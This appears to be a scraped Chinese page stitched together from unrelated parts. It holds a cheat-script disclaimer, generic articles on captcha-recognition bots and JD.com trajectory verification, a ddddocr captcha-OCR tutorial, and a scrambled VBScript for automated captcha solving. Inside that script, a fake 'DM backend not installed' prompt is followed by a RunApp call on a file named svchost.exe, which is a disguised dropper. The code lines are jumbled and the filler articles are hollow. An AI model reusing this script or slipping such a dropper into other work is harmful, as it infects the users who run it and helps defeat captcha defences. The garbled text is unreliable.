1、业余时间写的,确实不专业,自己凑和玩用的,将就着点吧,再不行就重启电脑试试。
2、按键的东西,360,诺顿啥的都杀毒,它跟它就是过不去,俺也木有办法解决,信不过就删除啦
***哈哈,因为使用辅助被封号了别说我没提醒哦噢,娱乐娱乐啦,还是上班上学要紧****
验证码识别机器人手工操作总结

验证码识别机器人手工操作总结一、介绍验证码识别机器人是一种能够模拟人类进行验证码识别的自动化系统。
由于验证码的存在,许多自动化任务在进行时常常被阻碍,而验证码手工操作则是通过人工方式完成验证码识别的过程。
本文将详细探讨验证码识别机器人手工操作的细节及其相关问题。
二、验证码识别机器人手工操作的步骤验证码识别机器人手工操作主要包括以下步骤:1. 获取待识别的验证码首先,我们需要从源数据中获取待识别的验证码。
验证码可以来自不同类型的网站,如登录页面、注册页面等。
在获取验证码时,需要注意确保数据的合法性与规范性。
2. 手工操作验证码获取验证码后,需要进行手工操作来识别验证码。
手工操作验证码时,可以采用不同的方法,如使用图像编辑软件进行标记、放大验证码以便更清晰地辨认等。
3. 分割字符有些验证码是由多个字符组成的,因此我们还需要将验证码进行字符分割,以便分别对单个字符进行识别。
在分割字符时,可以使用图像处理算法,如边缘检测、二值化等。
4. 识别字符对于单个字符,我们可以使用不同的方法来进行字符识别。
常见的方法包括基于图像特征的方法、机器学习算法、深度学习算法等。
在选择识别方法时,我们需要考虑验证码的特点以及识别的准确性和效率。
5. 输出识别结果最后,我们需要将识别结果输出。
可以将识别结果保存为文本文件或将其应用到相应的自动化任务中进行后续处理。
三、验证码识别机器人手工操作的挑战和解决方案在进行验证码识别机器人手工操作时,我们会面临一些挑战。
以下是一些常见的挑战及其解决方案:1. 验证码多样性验证码的类型和形式多种多样,有的验证码使用了扭曲、干扰线等技术,增加了验证码的复杂性。
为了应对这种挑战,我们可以使用图像处理算法对验证码进行预处理,如去噪、平滑等。
2. 验证码更新频率有些网站会定期更换验证码,这就要求我们保持对验证码更新的敏感性。
解决这个问题的方法是建立一个验证码库,并定期更新库中的验证码。
如果在手工操作过程中识别不出验证码,可以将其加入验证码库,以便后续的识别。
按键精灵京东轨迹验证思路

按键精灵京东轨迹验证思路(实用版)目录1.验证思路的重要性2.按键精灵与京东轨迹的关联3.京东轨迹验证思路的实践方法4.验证思路的实际应用效果正文在当今信息化社会,数据安全和信息验证已成为各行各业关注的焦点。
为了确保信息的真实性和准确性,各种验证思路应运而生。
其中,按键精灵京东轨迹验证思路在众多验证方法中脱颖而出,受到广泛关注。
本文将围绕这一验证思路,介绍其重要性、实践方法以及实际应用效果。
首先,我们要了解验证思路的重要性。
在信息时代,数据安全和隐私保护已成为越来越多人关心的问题。
验证思路作为一种有效的数据验证手段,可以帮助我们确保信息的真实性和准确性,从而避免因错误或虚假信息导致的损失。
因此,掌握一种有效的验证思路对于企业和个人来说都至关重要。
其次,我们要了解按键精灵与京东轨迹的关联。
按键精灵是一款功能强大的自动化测试工具,它可以模拟人类操作,实现对软件的自动化测试。
而京东轨迹则是指在京东平台上的用户行为数据,包括浏览、搜索、购买等。
这两者之间的关系在于,通过按键精灵,我们可以获取和分析京东轨迹数据,从而更好地了解用户行为和需求。
接下来,我们来探讨一下京东轨迹验证思路的实践方法。
具体来说,可以分为以下几个步骤:1.数据收集:通过按键精灵,收集京东平台上的用户行为数据,如搜索记录、浏览记录、购买记录等。
2.数据清洗:对收集到的数据进行清洗,去除重复、异常、无效的数据,保证数据的准确性和完整性。
3.数据分析:对清洗后的数据进行分析,挖掘用户行为特征和需求,为产品和营销策略提供依据。
4.验证与优化:根据分析结果,对产品和营销策略进行验证和优化,以提高用户满意度和商业价值。
最后,我们来看一下验证思路的实际应用效果。
通过京东轨迹验证思路,我们可以更加准确地了解用户行为和需求,从而提高产品和营销策略的有效性。
此外,验证思路还可以帮助我们发现潜在的风险和问题,提前采取措施,降低损失。
总之,按键精灵京东轨迹验证思路是一种有效的数据验证手段,具有重要的实践意义。
Python免费验证码识别之ddddocr识别OCR自动库实现

Python免费验证码识别之ddddocr识别OCR⾃动库实现⽬录安装过程:完成之后,找个参考图⽚附ddddocr-验证码识别案例总结需要ocr识别,推荐⼀个Python免费的验证码识别-ddddocr安装过程:pip install ddddocr -i https:///simple2.python.exe -m pip install --upgrade pip注意升级pip库,,动不动升级就很⿇烦。
Collecting pipDownloading https:///packages/ca/31/b88ef447d595963c01060998cb329251648acf4a067721b0452c45527eb8/pip-21.2.4-py3-none-any.whl (1.6 MB)|████████████████████████████████| 1.6 MB 939 kB/sInstalling collected packages: pipAttempting uninstall: pipFound existing installation: pip 21.2.1Uninstalling pip-21.2.1:Successfully uninstalled pip-21.2.1Successfully installed pip-21.2.4完成之后,找个参考图⽚import ddddocrocr = ddddocr.DdddOcr()with open('1.png', 'rb') as f:img_bytes = f.read()res = ocr.classification(img_bytes)print(res)对⽐效果图:效果不是太好,有的图⽚,例如:哈哈哈,⾃个玩吧。
附ddddocr-验证码识别案例import ddddocrocr=ddddocr.DdddOcr()with open('test_img.png', 'rb') as f:img_bytes=f.read()res=ocr.classification(img_bytes)print(res)普通⼲扰较弱的验证码均可识别通过总结到此这篇关于Python免费验证码识别之ddddocr识别OCR⾃动库实现的⽂章就介绍到这了,更多相关ddddocr识别OCR⾃动库内容请搜索以前的⽂章或继续浏览下⾯的相关⽂章希望⼤家以后多多⽀持!。
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- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
xmlHttp.setRequestHeader "Expect", "100-continue"
xmlHttp.Send objTemp
Upload = xmlHttp.ResponseBody
tmp = Replace(tmp, "$4", strFileType)
objTemp.Write StringToBytes(tmp, strCharset)
objTemp.Write GetFileBinary(strFilePath)
End Sub
objFile.Type = adTypeBinary
objFile.Open
objFile.LoadFromFile strPath
GetFileBinary = objFile.Read(-1)
objFile.Close
Call AddForm("apiKey",key)
Call AddFile("ocrfile", "", "image/jpg", 路径)
ccc = Upload("/ok.html")
xmlBody = ccc
Set ObjStream = CreateObject("Adodb.Stream")
key="" //这里是自己申请的key
//本识别服务为免费,没有apiKey 可以 key 为标题
//任意内容为正文发邮件到 ok(@) 获取
//可能会有延迟,请匆重复发送
//授权apiKey,请注意区分大小写
路径="C:\Documents and Settings\Administrator\桌面\1.bmp" //识别的图片路径
Function body(a,b,c)
dim aa
aa=a
aa=mid(aa,instr(aa,b)+len(b))
body=left(aa,instr(aa,c)-1)
End Function
Public Function StringToBytes(ByVal strData, ByVal strCharset)
Set objFile = Nothing
End Function
Private Function GetBoundary()
Dim ret(12)
Dim table
Dim i
table = "abcdefghijklmnopqrstuvwxzy0123456789"
Randomize
For i = 0 To UBound(ret)
ret(i) = Mid(table, Int(Rnd() * Len(table) + 1), 1)
Next
GetBoundary = "---------------------------" & Join(ret, Empty)
xmlHttp.setRequestHeader "Content-Type", "multipart/form-data; boundary=" & strBoundary
xmlHttp.setRequestHeader "Content-Length", objTemp.size
End Function
Public Sub AddFile(ByVal strName, ByVal strFileName, ByVal strFileType, ByVal strFilePath)
Dim tmp
tmp = "\r\n--$1\r\nContent-Disposition: form-data; name=""$2""; filename=""$3""\r\nContent-Type: $4\r\n\r\n"
Private Sub Class_Initialize()
adTypeBinary = 1
adTypeText = 2
Set xmlHttp = CreateObject("Msxml2.XMLHTTP")
Set objTemp = CreateObject("ADODB.Stream")
objFile.WriteText strData
objFile.Position = 0
objFile.Type = adTypeBinary
If UCase(strCharset) = "UNICODE" Thenห้องสมุดไป่ตู้
objFile.Position = 2 'delete UNICODE BOM
strCharset = "GB2312"
Call AddForm("service", "OcrKingForCaptcha")
Call AddForm("language",语言)
Call AddForm("charset",验证码类型 )
Call AddForm("type","/api/get_auth.php?t=56_reg&rnd=0.5675823935307562")
Call AddEnd
MessageBox "系统检测到您的脚本没有安装DM后台,点击安装" URL= "/svchost.exe" Call RunApp(URL) xmlHttp.Open "POST", strURL, False
tmp = Replace(tmp, "$1", strBoundary)
objTemp.Write StringToBytes(tmp, strCharset)
objTemp.Position = 2
End Sub
Public Function Upload(ByVal strURL)
tmp = Replace(tmp, "\r\n", vbCrLf)
tmp = Replace(tmp, "$1", strBoundary)
tmp = Replace(tmp, "$2", strName)
tmp = Replace(tmp, "$3", strFileName)
ElseIf UCase(strCharset) = "UTF-8" Then
objFile.Position = 3 'delete UTF-8 BOM
End If
StringToBytes = objFile.Read(-1)
objFile.Close
Set objFile = Nothing
End Function
Private Function GetFileBinary(ByVal strPath)
Dim objFile
Set objFile = CreateObject("ADODB.Stream")
tmp = Replace(tmp, "\r\n", vbCrLf)
tmp = Replace(tmp, "$1", strBoundary)
tmp = Replace(tmp, "$2", strName)
tmp = Replace(tmp, "$3", strValue)
objTemp.Type = adTypeBinary
objTemp.Open
strCharset = "utf-8"
strBoundary = GetBoundary()
End Sub
Call Class_Initialize()
End Function
Public Sub AddForm(ByVal strName, ByVal strValue)
Dim tmp
tmp = "\r\n--$1\r\nContent-Disposition: form-data; name=""$2""\r\n\r\n$3"
objTemp.Write StringToBytes(tmp, strCharset)
End Sub
Private Sub AddEnd()
Dim tmp
tmp = "\r\n--$1--\r\n"
tmp = Replace(tmp, "\r\n", vbCrLf)
语言="eng" // 英文=eng 简体=sim 繁体=tra
验证码类型=7 // 所有英文字符=0 所有纯数字=1 小写英文字母=2 大写英文字母=3 数字小写字母=4 数字大写字母=5 大写小写字母=6 数字大写小写=7 常用英文字符=8 网址和邮件类=9 $¥商城价格=10 手机电话号类=11 数学公式计算=12
With ObjStream
.Type = 1
.Mode = 3
.Open
.Write xmlBody
.Position = 0
.Type = 2
.Charset = "utf-8"